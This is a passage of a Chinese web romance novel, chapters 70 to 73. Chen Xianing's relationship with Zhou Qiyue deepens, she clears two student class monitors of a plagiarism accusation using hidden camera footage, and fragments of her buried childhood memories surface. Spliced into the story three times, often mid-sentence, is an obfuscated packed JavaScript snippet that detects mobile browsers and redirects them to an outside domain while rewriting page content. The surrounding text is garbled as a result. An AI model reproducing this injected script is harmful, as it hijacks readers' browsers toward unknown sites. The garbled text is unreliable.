说起这些,郑起航也替他感到心酸,语气深沉:“陈夏柠,我从来都没见过那样消沉的周祈越,也极为惊讶,他会喜欢你那么多年,到最后还是非你不可。” 陈夏柠喉咙发涩,吞咽了下:“我...我一直不知道,我们在一起后,他也从未跟我说过。” “上次别墅聚会的时候,我问过他,你知不知道。他说,过去的就过去了,没有必要把曾经的一厢情愿告诉你,让你有什么负担。”郑起航舒缓一口气,“既然你知道了,你们现在也在一起了,那么就珍惜眼前人吧。” “至于他是什么时候喜欢上你的,我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775216|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,或许以后你会亲自找到答案。” 陈夏柠嗯了一声:“谢谢你郑学长,跟我说这些。” 挂断电话,她坐在客厅里发了好一会儿呆,然后推开家门,去隔壁,进入周祈越的房间,坐在床上,想起昨晚他走之前让他在这等他。 陈夏柠点开微信,在置顶框输入:【我就在你家等你。】 也是吃完晚饭的时候,周祈越的消息发来:【我刚收工,估计很晚才到家,你困了就先睡。】 陈夏柠唇角微扬,往卧室里走,躺在他床上,筛选了一个暧昧的表情包发过去,小白兔抱着大灰狼亲亲。 她将空调打开,钻进被窝里,刷着刷着手机就睡着了。 在梦里,陈夏柠又回到那年酒吧。 她正坐在角落里,一杯又一杯地倒着龙舌兰,一口入腹,火辣的刺激感,整个大脑神经末梢都好似被麻痹,让人无法思考很多事。 怪不得人不开心的时候会喝酒,其实就是暂且来麻痹自己。 爸妈不让她喝酒,但江逸风就特爱抽烟喝酒,出来聚会经常去酒吧和会所。 他也带她来过这种场合,陈夏柠根本不会喝酒,只是安分地坐在他旁边,像个木头一样。 相必之下,其他女生就很有意思,她们会陪他喝酒,玩酒桌游戏,在他不开心的时候,有人陪他纸醉金迷,这就是江逸风想要的。 对于一个浪子来说,陈夏柠太乖了,长得不妖艳,她不会对他投怀送抱,属实无趣。 也对,他喜欢明艳大胆的,从来不需要她这种默默陪伴。 其实以前江逸风对她也不错,在她受欺负时会为她出面,如今知道他对她的好,和父母对她的好,性质一样。 全在于她是否真千金。 也就是那一刻,她觉得自己好傻,心生绝望,也有怨恨。 “为什么你们都要这样对我,”陈夏柠的眼泪啪啪直掉,低头看着杯子的酒质问自己,“我就这么不配得到爱吗?” 我为什么要存在。 她这种伤心欲绝的样子实在扎眼,隔壁桌的小混混早就盯上了她,三个男人走过来跟她一起坐下,“小妹妹,别人不爱你,哥哥来爱你。” 陈夏柠转眼看他们,发狠一笑:“你们也配!” 光头男凑过去摸她的手,“哦哟,挺有个性啊。” 陈夏柠闪躲,一把抄起酒杯泼在光头男的脸上,想起身走,光头男摸了把脸,狞笑,指着桌上的三杯酒:“不喝完就别想走。” 陈夏柠望了眼仨人不怀好意的眼神,意识到自己遇到麻烦了,先乖乖照做,拿起酒杯慢悠悠地喝着,趁他们放松警惕,捞起手边的酒瓶给他光头男当头一棒。 打完人就想逃,刚走一步,另一个蛇纹男揪住了她的马尾,一股刺痛传来,陈夏柠啊了一声,脚步往后退。 明明有看戏的人却没人上前帮她,陈夏柠眼角通红,浑身发颤,感觉自己掉入了地狱。 正恍惚着,蛇纹男猛地松手,整个人被打趴下,陈夏柠吓得赶紧躲在一边桌子底下。 酒吧的灯光昏暗,镭射灯四射,她眼前模糊,只看见男人挺拔的身形,身手利落,把三个小混混撂倒。 没过一会儿,工作人员上来制止,被打趴下的小混混灰溜溜地跑走。 危机解除,陈夏柠只想逃走,踉踉跄跄地往外走,总感觉有人跟着她,她继续加快脚步,来到马路边想拿手机叫车,谁知眼前一昏。 然后身体往前一撞,好像撞进一面胸膛,那人还将她托起来,扶稳。 一道低沉好听的嗓音落于头顶:“我送你回去。” 下一秒,陈夏柠从梦中惊醒。 卧室的灯还亮着,一睁眼就是男人俊朗的睡颜,他正枕着臂弯,侧躺着面对她。 在梦里看不清的男人,现在距离近乎可以看清他皮肤的绒毛。 周祈越的睫毛浓密而长,鼻梁挺直,薄薄的嘴唇,每一个五官都生得完美。 陈夏柠伸出食指去触摸他的鼻尖,顺着往下滑,落在他唇角。 周祈越眼睫动了动,顺势抓住她的手,一下又一下地啄吻着她手背。 陈夏柠耳红面赤,扑进他怀里,额头抵在他温热的胸膛,身体有一下没一下地蹭着他。 周祈越勾唇笑了笑,将小姑娘揉进怀中,“安分睡觉,否则我怕自己忍不住。” “......” 71. 睡美人 这两天的恶劣天气把搜救局的人忙得晕头转向,每一个人都在争分夺秒地拯救船员,被困的渔民,这种工作只要一开始,就精神紧绷,容不得一丝放松。 结束工作开车回来的路上,周祈越在车上放了几首舒缓的歌曲都没用。此时此刻,躺在床上,喜欢的人依偎在怀中,小姑娘身上的清香沁入鼻息,他的身体和大脑得以舒缓。 有她在身边,一夜好梦。 周祈越醒来的时候,转眼看见左边躺了个睡美人,她的皮肤清透白嫩,又软又乖的模样。 以前小时候,懵懵懂懂的年纪,看见她趴桌上睡觉,他就会不自觉横生出一种恶劣的想法——好想在她脸上亲一口。 周祈越偷看了她一会儿,原本想悄悄掀开被子起床,却发现被子底下,陈夏柠的左手正在捏着他的袖口,像一个没有安全感的小女孩,以为这样抓住他,他就不会走了。 周祈越重新躺好,把被子盖上,挨得她更近。 这么一直看着她,周祈越心里也痒痒的,想趁机偷亲一下她。而陈夏柠在此刻被猛然响起的闹钟惊醒,往常周六定了个八点的闹钟,因为要陪学生去基地,但今天是周日,她忘记关了。 所以当她突然睁开眼,身体应激似的从床上坐起来,额头直接撞了下男人的鼻梁,周祈越疼痛地嘶了声,什么困意都烟消云散了。 “啊,对,不.......”陈夏柠惊了一下,慌张地看向捂着鼻子背对自己的男人,“你没事吧。” 果然啊,还是不能干偷鸡摸狗的事,否则报应来得很快,周祈越啧了声,顺势当个受害者:“你觉得呢,一早上就给我来个暴击。” “......”陈夏柠表示无辜,她就是起个床,怎么就撞到他了,拉着他肩膀,“你转过来我看看流鼻血了没?” 周祈越转过身正对着她,缓缓拿开握着鼻子的手,陈夏柠凑过去左看右看,“没事啊,也没流鼻血。” 殊不知这短暂几秒,周祈越的目光一瞬不眨,喉间生痒,随着话音刚落,他的身体覆盖下去,分别按着她两只手在枕头,完完全全把她压在身下。 陈夏柠呼吸一顿,杏眼转了转,鸦羽似的睫毛颤个不停,面色白里透红,藏着娇羞。 她所有的微表情,周祈越尽收眼底,完全被拿捏住一般,被这姑娘撩拨得不能自已。 “柠柠。”男人喉咙更干了,嗓音带着沙哑,“你再这样,我真要流鼻血了。” 陈夏柠:“???” 她哪样了? 她明明什么都没做啊,被他这么按住,动弹不得,占据下风。 周祈越坏笑了一下:“算是补偿我。” 陈夏柠眨了下眼,还没搞懂他在说补偿什么,男人就堵上了她的唇。 “唔唔.....”她承受着他的吻,嘴边含糊不清地说:“我还没刷牙,小心蛀虫传染你。” 周祈越正在动情地吻着她,听到这句话噗嗤笑出声,周遭的旖旎被打破。 随后从她身体移开,发狠似的捏了捏她的脸,“一天不破坏氛你就急得慌是吧。” “......” 两人下床洗漱,洗漱台前,周祈越全程伺候着她刷牙洗脸,命令她张嘴:“让我看看你的蛀虫安分不?” 陈夏柠:“......” 还玩上了是吧。 陈夏柠别过脸,转身看镜子,一旁的周祈越神色严肃,揪着不放:“合着刚才骗我呢。知不知道骗男朋友的惩罚是什么。” 陈夏柠眼疾手快,在他想扑过来时闪躲,跑出洗漱间,赶紧回卧室把门关上。 一大清早玩起了老鹰捉小鸡,不,应该是大灰狼捉小白兔。 周祈越没跟她继续胡闹下去,转去厨房做早餐了,陈夏柠也是听见客厅自己的手机一直响,才畏畏缩缩地探出头,跑过去接电话。 王书记:“陈老师,吴洵伤势怎么样?” “我昨天去医院看了。”陈夏柠坐在沙发上,交待着,“医生说其他的皮外伤不要紧,就是左腿骨折得好好养养了。” “现在学校论坛里这件事传开了,所有人都说裴青寂抄袭吴洵的作品,还把吴洵打进了医院。” “书记,论坛的谣言不可信啊,”陈夏柠说,“裴青寂什么为人您最了解,他实在没有必要为了一个比赛去打人。” “我当然知道论坛的话不可信,可裴青寂的话就可信么,他自己都承认是他先给吴洵一拳的,在场的池一舟也存在嫌疑,就算他们不是故意的,那也是因为他们仨的胡闹让吴洵摔下楼的。” 王书记中规中矩地说,“既然事情已经闹开了,学校总得给出惩罚制止这种行为,否则以后其他同学目无校纪了。” “林老师已经安抚好吴洵不动用警察,私下和解了,处分最迟周三下来吧。” 陈夏柠深知说什么都无用,点头嗯了一声。 “怎么了?”周祈越从厨房走过来,方才听了些断断续续的话,“你昨天去医院了?” “哦,是我学生的事。”陈夏柠将三位学生的事讲给他听,周祈越坐在一边认真听着。 “虽然他们俩能免得了被告,可是被学校处分,而且全校都会觉得是他俩剽窃作品。”陈夏柠没觉得这个解决方案好多少,“明明无辜的是他们俩,受害者也是两位班长,我实在搞不懂那个吴洵怎么能做到这个份上,这得是有多大的仇恨。” 周祈越若有所思地分析着:“事发地点在哪,难道就没有摄像头拍到当时的场景吗?” “在航运科研楼。”陈夏柠说,“我去保安室问过,他们说那两天楼道口的摄像头坏了,没拍到。” 周祈越呵呵一笑:“这更加证明那个叫吴洵的学生早有预谋,还能提前解决掉摄像头。” “这些都是我们的揣测。”陈夏柠双手托腮,叹了口气,“没有证据,怎么说都没人相信。要是我的两个班长被处分了,那我可丢大脸了,说不定考察期都过不了。” 周祈越转眼看她,抬手揉了下她的发顶,极为认真地说:“要是不喜欢这工作,咱就不干了,我养你。” 陈夏柠的头快摇成拨浪鼓,眸色坚定:“就算辞职也得光明正大的,我才不要被人家说成缩头乌龟,而且我一定要有属于自己的事业。” 即使人生浑浑噩噩,她也想认真对待。 周祈越唇角微扬,欣慰地看她:“我就知道柠柠有骨气,不过你想解决这事得找一个人帮忙?” “嗯?” “林院长。” 陈夏柠茫然地看他,“这几天林院长外出访学了,而且这种事就算闹得院长那边,没有证据处理结果也一样吧。” “谁说没有证据了。”周祈越意味不明地笑了笑,“有证据。” ...... 当晚去班里时,陈夏柠私下又跟两位班长交谈,也注意到论坛的恶语相向,安慰他们不要在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池一舟站在两人中间劝他们放手,裴青寂听劝了,两只手刚放下,吴洵自行往后推,双手抱头滚了下去。 王书记伸着脖子,推了推眼睛,看得目瞪口呆。 林思的脸已经黑得不成样子了。 “书记,你再仔细看一遍。”陈夏柠倒放一遍说,“的确就是吴洵自己掉下去的。而且视频中他承认了自己剽窃,其实裴青寂手中也有证据,吴洵抄他的创意。” 王书记神色一凌,和陈夏柠齐刷刷看向林思。 “我不知道啊,吴洵的指导老师写的是我,但我压根就没参与,就只是走个形式,很多老师都是这样操作的,而且吴洵什么都没跟我说,我以为那是他的原创。” 林思先是撇清关系,仍然难以置信,降下音量,“这视频哪来的,保安室不是说,摄像头坏掉了吗?” 陈夏柠讳莫如深地笑了笑,没解释。 这是周祈越告诉她的一个秘密。 “海大的航运科研楼曾经发生过一起爆炸事件,不是偶然,是人为。”周祈越说,“可惜凶手似乎很了解这个科研楼,成功躲避了所有镜头的盲区,只留下一个模糊的背影。” 当年那起爆炸,让海大连带参与实验的航运公司损失惨重,后来学校吸取教训,加强科研楼的安保,不仅如此除了表面的摄像头,还偷偷给整栋楼全方位无死角地安装了隐形摄像头。 关于隐形摄像头的存在,鲜有人知,也只有校长和航院的院长才有权限调动。 当时听完这件事后,陈夏柠一脸惊愕和不可思议,而后纳闷道:“既然连老师和书记都不知道,那你又是怎么知道的?” “我啊,无意间偷听到的。”周祈越盯着她的眼睛,转移话题,“你只需要找林院长说这事就行了,他会帮你的。” 72. 煮饭工 会议室陷入一阵沉默。 良久,王书记敲了下桌面,郑重其事地看向坐立不安的林思,“林老师,你把这视频给吴洵看,让他主动认错,我还能从轻处理,否则他这种行为应当被开除的。” 林思一直绷着张脸,点头嗯了声,想起前几天自己一个劲地劝书记严惩裴青寂,又说陈夏柠管理无方,这会着实打脸,急忙解释:“书记,这事我真不知道,我也被自己的学生骗了。” 陈夏柠拔掉U盘,悄悄坐在一边没吭声。 下一秒,只见王书记什么话也没说,看了眼时间,起身往前走,“今天先到这,先下班吧。” 陈夏柠并不觉得吴洵那样高傲的性子会低头认错,毕竟都能狠下心伤害自己了,也不愿让别人知道自己抄袭。 她拉开椅子起身,看一眼林思,选择得饶人处且饶人,“其实可以对外宣称,是吴洵不小心掉下去的,不用提及他蓄意陷害同学。但竞赛抄袭还得给两位班长一个交代,这牵扯到三位学生的清誉。” “你少假惺惺了!”林思猛地站起来,怨气十足地瞪她,“想不到陈老师真会当面一套背后一套啊,前几天说好的事转头就给我一刀。” 陈夏柠心一缩,虚握拳头,不想与她闹得太僵,好声好气道:“那天是不知道真相,本来就不是他们俩的错为什么要让他们承担后果,请你搞清楚谁是受害者,林老师,我在就事论事。” “呵。”林思睥睨着她,阴阳怪气道,“之夏说的没错,你这种人挺会装的,明明自己都不堪入目,还表现得如此大义凛然,不心虚吗?” “你有话就直说。”陈夏柠快忍不下去了,就猜到有一天林思会为陈之夏出头,“我和陈之夏的事不需要一个外人来评头论足。” “怎么,急了?”林思继续激怒她,“你不过就是一个爱慕虚荣贪图富贵,顶替别人人生的小偷。” “你嘴巴放干净点!”陈夏柠抬高音量,也是有点激动,“如果可以选择,我根本不愿待在那样的家庭。” “是嘛,那你为什么又配合你的养父母演了十年戏,在你爷爷面前,”林思为朋友打抱不平,“就是因为你进入陈家,才害得之夏从十三岁就在外吃尽了苦头。” 陈夏柠神色一怔,恍惚了几秒:“你说这话什么意思?陈之夏什么时候离家的?十三岁?” ...... 第二天,学院发布澄清公示,算是保留学生的面子,声称吴洵是自己不小心掉下楼的。林思和吴洵的沟通并不顺畅,吴洵宁死不屈。 书记也恼了,放狠话说,他要是不给裴青寂道歉,就不用来学校了。 上午课间的时候,陈夏柠把裴青寂、池一舟和苏岩礼一并喊到教学楼中间的凉亭,跟他们说后续如何向竞赛组申诉提交证据。 “总算沉冤得雪了。”池一舟捂着胸口劫后于惊般,“连续五天没吃好睡好,我以后都不敢参加比赛了。” 苏岩礼瞧他一眼,凉凉道:“我以后再不相信你的眼光了,亏你之前还夸吴洵仗义,结果呢,建议你多吃点胡萝卜明目。” 池一舟挠了挠头,陪笑:“......是我眼瞎,准备换副新眼镜。”说完又补充道:“晚上我请客,给你俩赔罪。” “那可说好了,我要吃大餐,校外那家东北大锅炖......”苏岩礼正津津有味地说着,转眼看见池一舟根本没再听话。 温可颜从教学楼抱着一摞书走过来,池一舟的目光仿佛钉在她身上了。 陈夏柠也看见了,女生娇小纤细的体型走起路来,让人不禁心生保护欲,池一舟瞬间心在曹营心在汉。 苏岩礼在一边咂咂嘴:“勾魂了啊。” 陈夏柠有眼力劲儿地放人:“行了,会议到此结束。” 池一舟倒不是个扭捏的人,坦坦荡荡走到温可颜身边,接过她怀中的书,“要去哪?” 温可颜说了个地方,跟在他身后道谢。 池一舟绕过凉亭,跟她并肩走,“跟你说个好消息,我竞赛的事很快就能澄清了,我没抄袭。” “是嘛,那挺好的。”温可颜莞尔一笑。 “你脸色怎么这么苍白?”池一舟极为心细地说,“天冷了,记得穿厚点。” “嗯。” 陈夏柠望着两人走远的背影,收回视线,瞧着坐在凉亭的裴青寂,他一直不发一言,好像在等他们走了再说话。 裴青寂跟她对视一眼,言词真挚:“导员,谢谢你愿意相信我。” “唉,我以为什么大事呢。”陈夏柠不以为意地摇头,“没什么,我的职责所在。” “对我而言,这就是很大的事。”裴青寂变得比以往温吞,说话有什么东西卡在喉咙似的,“从来没有人愿意这么相信我,在乎我的感受。” 跟他接触多了,陈夏柠自然懂得裴青寂的自卑,原生家庭是很多人迈不去的坎,这句话一出来,可见他也是个缺乏安全感的人。 “没事儿,男子汉大丈夫坚强点,这算什么啊。”陈夏柠给他加油打气,话锋一转,“吴洵那边......” “我知道他讨厌我,也不指望他会向我道歉。”裴青寂坐在角落里,胳膊肘搁在双腿,脊背一下子弯起来,弓着脖颈垂眼看地面,像是情绪猛地落在谷底。 这会儿四下没什么过路人,陈夏柠将手机揣在兜里,循循善诱道:“虽然你平时总是扮演一个靠谱不需要操心的班长,但你现在可以把我当成朋友,有什么不开心事,我或许能帮你解答。” 裴青寂沉默了下,说话时嘴皮子发颤:“很快我和吴洵要成为名义上的兄弟了,因为我妈要和他爸结婚了。” “......” 陈夏柠瞳孔一滞,这信息量还没反应过来。 裴青寂哽咽了一下,继续说:“我爸爸去世后,妈妈身体不好,经常去医院看病,而看病的医生就是吴洵的父亲,时间长了两人就日久生情了,吴洵讨厌我是因为他觉得是我妈勾引了他爸,是我妈阻碍了他父母复婚。” 吴洵不惜伤害自己也要诬陷裴青寂,也是想用这种方式让父亲看清楚他们俩的不合,阻碍两人的婚姻。 可吴父铁了心要娶裴母,让吴洵炸毛,甚至威胁裴青寂,要是她们母子敢进家门,就弄死他们俩。 陈夏柠眉头紧蹙,反而不知该说什么了。 “所以导员,你跟书记说,他跟我道过歉了吧。”裴青寂倒是有大局意识,无奈道:“为了我妈妈的安稳生活,我不能跟他闹太僵,不想让我妈妈夹在中间为难。” “好,我知道了。”陈夏柠又说了几句安慰话,劝他把重点放到学业上,只有自己变强大了才能保护想保护的人。 这件事总算落下帷幕,不幸的是,她和林思算是彻底撕破脸了,以后同在一间办公室只会更难堪。 也不知她是不是太累了,今天坐在办公室后脑勺偶尔一阵一阵地疼,但也不严重,一会儿就好了。 到了冬天,学院对导员监督早晚修放松了许多,一周去一次就行,晚上一放学,陈夏柠和学生一样激动,想赶快跑回家,周祈越发消息说做了她爱吃的清蒸鲈鱼和酸辣汤。 周祈越前段时间忙得晕头转向,这一周都可以休息,陈夏柠觉得蛮幸福,一回家就有人做好了饭等她。 陈夏柠现在已经能随心自如地把他家当成自己家,一进屋扔下包,跑去洗手,坐在餐桌捞起筷子夹菜。 周祈越把热腾腾的馒头上桌,捞起凳子挨着她坐,陈夏柠胃口大开,喝着汤边赞叹:“前有煮饭婆之说,那你就是我的煮饭工。” 周祈越单手托腮,侧过脸看她:“那个gong,老公的公?” “......”陈夏柠没正眼看他,坦诚道:“工人的工。” 话音落,男人单手捏住她的下巴,将她的脸转向自己,“叫声老公。” 陈夏柠:“......” 周祈越垂眼打量着她,蛮横道:“我只给自己的老婆做饭,你吃了我的饭,就得叫我老公。” “......” 陈夏柠脸一热,移开视线,讷讷道:“你先放开我,我再喊。” 周祈越信任地松开手,好整以暇地等她开口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797980|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不料这姑娘火速挪开凳子,甩下一句:“我吃饱了,先回家了。” 然后往玄关处跑,手搭在门把手上,拧动了好几下都没打开门。 周祈越也快步跟上来,手臂从身后缠绕到前腹,一把捞她进怀中。 男人的胸膛贴着她后背,下巴搁在她肩膀,坏笑了下:“还想跑,知道骗我的代价是什么吗?” 两人侧脸相贴,如此亲密,陈夏柠心跳砰砰乱跳,好似无法思考了。 下一刻,周祈越直接将人打横抱起,抱着她往卧室走。 陈夏柠在她怀中也不老实,扑腾着双腿,“周祈越,你干什么?” 周祈越:“入洞房。” “.....” 松软的床铺猛地塌下一处,陈夏柠被放在床上,周祈越站在床尾卷起衣摆,一把脱下毛衣,扔在旁边的沙发上。 然后下一秒,她就看见,男人如迅猛的豺狼火速上床,陈夏柠双手撑在身后,仰着身体往后退一下,周祈越就往前进一下。 两人这样无异于调情。 三个回合,陈夏柠退无可退,后背靠在床头,周祈越额头与她相贴,呼吸交融,陈夏柠正要闭上眼,周祈越却与她拉开距离,坐在床边问:“今天喝中药了吗?” 陈夏柠愣了一下,“还没。” “我去给你泡。”周祈越起身走出去。 陈夏柠这才想起,她喝药期间不能有性生活的。 晚上睡觉时,周祈越也安分地躺在她旁边,没对她做什么。 陈夏柠进入深度睡眠,额头那股轻微疼痛传来,蓦然想起很久的一件事。 13岁那年,萧婷和陈京辉带她回到陈家,当时爷爷、姑姑和大伯都在看她,陈夏柠望着他们像看陌生人一样,也怕生地往萧婷身后躲。 “爸,夏夏生了一场病,可能不太记得您了,况且这都多少年了,小孩子不记事。”萧婷牵着她的手把人拉到陈淮松跟前,朝她点点下巴,“喊爷爷。” 陈夏柠望着眼前慈眉善目的老人,半晌开口:“爷爷。” “诶。”陈淮松眼尾一弯,像是等了很多年这声“爷爷”,欣喜不已地摸了摸她头,“夏夏回来就好,回来就好。” 陈夏柠只觉得周遭的一切都很新,可能是她刚从国外回来不适应,看待所有人的目光都像一个刚出生的婴儿,充满好奇和懵懂。 可一到深夜,她就头疼,甚至在房间大哭起来,萧婷和陈京辉闯到她房间,妈妈抱着她安慰:“夏夏不怕,妈妈在这。” 爸爸会拿起儿童读物给她讲故事哄她睡觉。 那个时候,陈夏柠觉得自己真幸福,爸妈爱她,爷爷也很爱她。 可是她头疼得太频繁了,还会不着边际地胡言乱语,陈淮松耐心地追问她的话。 萧婷会趁机横插一脚,“爸,我准备给夏夏找个心理医生了,她受惊吓了。” 后来陈夏柠去接受心理治疗,医生就是徐亮,然后场景又转回到催眠室。 她躺在按摩椅上,随着医生的节奏,将自己带入到某个场景中。 徐亮:“你看到了什么?” “在下雨,海边。”陈夏柠只觉得四周黑漆漆的,冷风吹鼓自己单薄的身体,“还有一群人。” 徐亮:“那些人在干什么?” “他们在……在……”陈夏柠磕磕巴巴,莫名慌张起来,好像看见有人提着刀朝自己走过来,下一秒,她尖叫一声,然后失控。 “救命!” 陈夏柠喊出一声,眼睛还没睁开,身体已然坐起来。 周祈越也被吵醒,将床头的灯打开,漆黑的卧室有了一抹暖黄色的光亮。 “怎么了?”男人拍拍她后背,嗓音带着困意,“做噩梦了?” “嗯。”陈夏柠转眼看见他的眼睛,扑进他怀里。 “我在呢,没事了,都是假的。”周祈越也搂着她安抚。 陈夏柠恍惚了下,似乎又想起了什么。 不行,她一定要再去找一趟徐医生。 林思说漏嘴的话,反倒让她觉得可信。 73. 热恋期 目前徐亮那家心理医院经营得风生水起,陈夏柠跟他发消息预约,徐亮说,工作日已经预约满了,周六可以加班单独给她治疗。 陈夏柠也能感受到徐亮是没法拒绝她的,毕竟徐亮现在的成就全得益于陈淮松的注资,陈淮松为什么给他投钱,还不是因为他能治好陈夏柠。 现在的情况是,陈夏柠压根没好。 直觉告诉她,徐亮有猫腻,上次见到她表现得各种不自然,甚至可以说是慌张。 Lemon:【徐医生,周六下午三点怎么样?】 徐亮:【可以的。】 周六的天气风和日丽,陈夏柠照例需要带学生去飞行基地训练,周祈越刚好也今天复工,早上两人一同出门,他本想提车顺便带她去。 “可是导员得跟学生一起。”陈夏柠摇摇头,拉了下脖颈的围巾,瓷白的小脸弹出来,说话呼出一口热气。她今天穿搭很韩系,燕麦色加绒毛呢搭配咖啡格子围巾。 一进入冬季,周祈越的衣服偏深色系,上身穿着带有搜救局标识的藏青色夹克,下身黑色牛仔裤,变成了痞帅型帅哥,他什么风格都能驾驭住。 唯一不变的是给人带来的安全感,跟他待在一起。陈夏柠总觉得乱糟糟的心都能平静下来,很舒服的感觉。 从单元楼出来,周祈越牵着她往外走,明明路程就这么点,两人的步骤比平常要慢两三倍。 理智告诉她,再这么下去,她铁定要错过大巴车了。 可感性告诉自己,她在品尝着甜甜的恋爱,她的一次主动换来了两人的热恋期。 陈夏柠从没想过自己会有那么不理智的一天,跟随自己的心,不顾一切地去爱一个人。 这几天两人的相处方式用“腻歪”两字形容一点也不为过,躺在同一张床,一醒来就能看见彼此,那种感觉是难以形容的喜悦。 周祈越特别黏她,好似把她当成泰迪熊,揉进自己怀里睡,早上起来一睁眼,偷亲她,陈夏柠现场抓包后,嘟着嘴凶巴巴地说“你看我不——”随之也在他脸上啵一下。 这种“报复方式”周祈越不得乐开花,得寸进尺地搂着她亲,然后两人起床非常艰难,能在床上磨蹭半小时,尽情掠夺彼此的呼吸,舔舐彼此的唇。 就这么几天,陈夏柠感觉自己被他带坏了,吻技大幅度提升。 快到地下停车库时,周祈越停下脚步,转眼看她,不着边际地问:“大巴车有多余的空位么?” 陈夏柠怔了一下,如实回答:“有的。” “那行,我跟你一起坐大巴。” 她茫然地啊了声,原来是这个意思,周祈越拉着她小跑起来,“柠柠快跑。” 陈夏柠弯唇笑了笑,握紧他的手,追随他的背影,迎着朝阳跑去。 像是放学路上,奔跑的少年少女。 陈夏柠不禁脑补十七岁的周祈越,她有没有见过他,哪怕有一瞬间擦肩而过。 紧赶慢赶,两人总算在发车前一分钟上车,来得比较晚,只能往后走,坐在了最后一排。 “嗨,导员。”入座的时候,倒数第二排走廊边的李霄朝她挥挥手,看见牵着她的周祈越也喊了声:“周学长也来了啊。” 周祈越让她坐在最里面,自己挨着她坐,朝前座的李霄闲散回话:“陪家属。” 李霄转过身下巴搁在椅背上,猫着头说:“采访一下二位,谈恋爱的滋味好不好啊。” 陈夏柠严肃地瞪他一眼:“没大没小,点名了吗?” “点了点了,都到齐了。”李霄眨了眨眼,老实巴交地,“我就是好奇恋爱嘛,大三了还单着,听说好多同学通过那个写信活动恋爱了,早知道这么有用,我也参加了。” 周祈越原本正静静地低头看手机,闻言视线一顿,抬头问李霄,“现在学校又有书信交友活动了?” “对啊。”李霄看着陈夏柠说,“还是陈老师策划的活动呢。” 周祈越的眼风流转向她,陈夏柠不咸不淡地说,就是想起本科有过这个活动,向书记提议也恰好被采用了。 随后一把将李霄的脑袋推回去,“快坐好!要开车了!” 这么一提,周祈越猛然想起当年的一件事。 贺景苦恼文学社要办什么活动吸引新生,当时他只是随口一说,贺景就付诸行动了。 贺景拿着统计完密密麻麻的报名名单,打印出来往桌上一放,那天周祈越去社里拿自己的东西,他实在太忙了,彻底退社,将社长的位置给贺景。 在桌上收拾资料的时候,刚好看见名单,随意一瞥就看见了个让自己敏感的名字——陈夏柠。 她的生日登记是十月七日。 “周祈越,你收拾好了没?”贺景推门而入,想来帮忙。 他目光落在名单,随口问:“这活动还能报名么?” “已经截止了。”贺景说完这句,又察觉他颇为感兴趣的样子,“你要想参加我给你加上。” “行,你再打一份吧。” 周祈越了解下选信规则,周一12点开始,实时选信,如果A选了B的信封,那么B只能选择A,没有其他选择机会。 当天他本想去早点抢占先机,但那天中午谢泽胃疼的难受,周祈越送他去校医院耽误了点时间。 等他赶到北广场找到文学社的帐篷,被告知自己失去了主动权,只能选择拿走他信封的1007。 周祈越听到1007时,心跳一停,先是欣喜几秒,又不确定是不是她,毕竟也有可能是同一天生日的同学。 由于他已经退出文学社,这个活动本身就是要有保密性,他无意间看见名单上的生日编码算是走了后门,周祈越也不好再找贺景调查,参赛者中还有谁的生日是1007。 后来在一次次的日常写信中,周祈越知道1007的宿舍是21号楼、对蜂蜜过敏、喜欢漫画喜欢宫崎骏,还在信封上画卡通人物,他就笃定1007就是陈夏柠了。 大巴车刚启动驶出校门,来了个急刹车,周祈越的思绪强行拉回,在陈夏柠额头要磕在前座的前一秒,及时伸手垫了过去。 陈夏柠晃过神,后背靠回座位,匪夷所思地看他。 好像船长的敏锐力都很强,尤其是对危险的预知。 周祈越盯着她脑门看了下,“磕着了没?” “没有。”陈夏柠话音未落,前面的司机朝上车的学生吼了句:“不早点来,半路拦车,不怕我撞死你啊。” 江澈大摇大摆地往后走,吊儿郎当道:“我那是相信您的技术,我这不是好好的。” “......” 司机消了火,继续开车,江澈坐在李霄旁边,后者扭头问:“这么来这么晚啊。” 江澈悠悠道:“女朋友生气了,哄半天才把人哄好。” 李霄啊了声,对他这人了如指掌:“你不会又沾花惹草了吧,温可颜的脾气多好啊,你别辜负了人家。” 闻言,后座的陈夏柠心一紧,竖着耳朵在听。 “没啊,我早就改了。”江澈抱着胳膊仰头靠在椅背,犹疑了几秒,“也不知道为什么,她最近挺黏我,抛下她一会儿就不高兴了。” “这样啊,那你怎么不把带上车。”李霄眼神示意他往后看,“导员就带家属了。” 蓦然变成家属的周祈越:“......” 江澈扭头朝座椅缝隙看了眼,因为方才差点磕前面,周祈越就把她揽在怀中靠着,两人的姿势别提有多亲昵了。 察觉到别人的目光,陈夏柠慌里慌张地起开,装模装样地看窗外风景。 江澈扭回头,“嗯,甜到塞牙。” 陈夏柠:“......” 没听懂话的李霄:“啥?什么塞牙?” “......” 江澈捞起手机敲字,扭回正题:“她一个姑娘跟我来飞行基地多无聊啊,我也没法保证她的安全。” 话间,江澈的消息发出去:【哥,我劝你还是放弃陈老师吧,她跟周学长感情好着呢,我就不发照片刺激你了。天涯何处无芳草,何必觊觎有夫之妇。】 江逸风仍然不死心:【什么有夫之妇了,她本来就是我的,只要他俩没结婚,我就能把她抢回来。你继续帮我盯着。】 - 